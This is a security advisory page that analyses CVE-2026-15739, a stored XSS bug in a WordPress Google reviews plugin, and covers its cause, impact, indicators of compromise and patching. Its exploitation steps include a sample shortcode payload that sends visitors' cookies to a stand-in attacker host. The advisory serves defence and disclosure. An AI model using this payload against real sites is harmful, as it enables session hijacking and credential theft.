CVE-2026-15739
WordPress 脆弱性の分析と軽減

概要

CVE-2026-15739 is a Stored Cross-Site Scripting (XSS) vulnerability in the Rich Showcase for Google Reviews WordPress plugin (also known as widget-google-reviews, developed by widgetpack/RichPlugins). It affects all versions up to and including 6.9.9, due to insufficient input sanitization and output escaping of the pagination shortcode attribute. The vulnerability was published on July 24, 2026, with a patch released the same day. It carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

技術的な詳細

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically in how the plugin processes the pagination shortcode attribute without properly sanitizing input or escaping output before rendering it in the browser. Vulnerable code paths have been identified in includes/class-view.php (lines 172 and 336), includes/class-feed-old.php (line 45), and includes/class-feed-shortcode.php (line 33) across plugin versions 6.9.7 and 6.9.8. An authenticated attacker with at least contributor-level WordPress access can embed a malicious script payload within the pagination attribute of the plugin's shortcode, which is then stored in the database and executed in the browser of any user who visits the affected page (GitHub Advisory, Wordfence).

影響

Successful exploitation allows authenticated attackers with contributor-level access or higher to persistently inject arbitrary JavaScript into WordPress pages, which executes in the context of any visitor's browser. This can lead to session hijacking, credential theft, malware distribution, phishing, or site defacement. The scope is changed (S:C in CVSS), meaning the injected script can affect resources beyond the plugin itself, including other browser sessions and site visitors (GitHub Advisory, Wordfence).

エクスプロイテーションのステップ

  1. Reconnaissance: Identify WordPress sites running the Rich Showcase for Google Reviews plugin (widget-google-reviews) at version 6.9.9 or earlier, using tools like WPScan or by inspecting page source for plugin references.
  2. Obtain contributor access: Register or compromise a WordPress account with at least contributor-level privileges on the target site.
  3. Craft malicious shortcode: Create or edit a post/page and insert the plugin's shortcode with a malicious pagination attribute, e.g., [widget-google-reviews pagination="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
  4. Publish the page: Submit or save the page containing the injected shortcode. The malicious payload is stored in the WordPress database.
  5. Trigger execution: When any user (including administrators) visits the affected page, the unsanitized pagination attribute value is rendered in the HTML output and the injected script executes in their browser, enabling session hijacking or credential theft (GitHub Advisory, Wordfence).

妥協の兆候

  • Logs: WordPress access logs showing POST requests to wp-admin/post.php or REST API endpoints from contributor-level accounts containing <script> tags or encoded JavaScript within shortcode parameters.
  • Database: WordPress wp_posts or wp_postmeta tables containing shortcode entries with the pagination attribute holding JavaScript payloads (e.g., <script>, javascript:, onerror=, onload=).
  • Network: Outbound HTTP requests from site visitors' browsers to unknown external domains shortly after visiting pages containing the plugin's shortcode, potentially carrying cookie or session data.
  • File System: No file-system artifacts expected for this stored XSS; exploitation is database-resident. Review plugin files in wp-content/plugins/widget-google-reviews/ for unauthorized modifications.

軽減策と回避策

Update the Rich Showcase for Google Reviews plugin to version 6.9.10 or later, which addresses the insufficient sanitization and escaping of the pagination shortcode attribute. The patch changeset is available in the WordPress plugin repository (WordPress SVN). As a temporary workaround, restrict contributor-level and higher access to trusted users only, and deploy Web Application Firewall (WAF) rules to detect and block XSS payloads in shortcode attributes (Wordfence, GitHub Advisory).

関連情報


ソースこのレポートは AI を使用して生成されました

関連 WordPress 脆弱 性:

CVE 識別子

重大度

スコア

テクノロジー

コンポーネント名

CISA KEV エクスプロイト

修正あり

公開日

CVE-2026-8789HIGH8.1
  • easy-appointments
いいえはいJul 24, 2026
CVE-2026-10033HIGH7.3
  • eventon-action-user
いいえはいJul 24, 2026
CVE-2026-15401HIGH7.2
  • vikbooking
いいえはいJul 24, 2026
CVE-2026-15821MEDIUM6.4
  • suredash
いいえはいJul 24, 2026
CVE-2026-15739MEDIUM6.4
  • widget-google-reviews
いいえはいJul 24, 2026

無料の脆弱性評価

クラウドセキュリティポスチャーのベンチマーク

9つのセキュリティドメインにわたるクラウドセキュリティプラクティスを評価して、リスクレベルをベンチマークし、防御のギャップを特定します。

評価を依頼する

パーソナライズされたデモを見る

実際に Wiz を見てみませんか?​

"私が今まで見た中で最高のユーザーエクスペリエンスは、クラウドワークロードを完全に可視化します。"
デビッド・エストリックCISO (最高情報責任者)
"Wiz を使えば、クラウド環境で何が起こっているかを 1 つの画面で確認することができます"
アダム・フレッチャーチーフ・セキュリティ・オフィサー
"Wizが何かを重要視した場合、それは実際に重要であることを私たちは知っています。"
グレッグ・ポニャトフスキ脅威および脆弱性管理責任者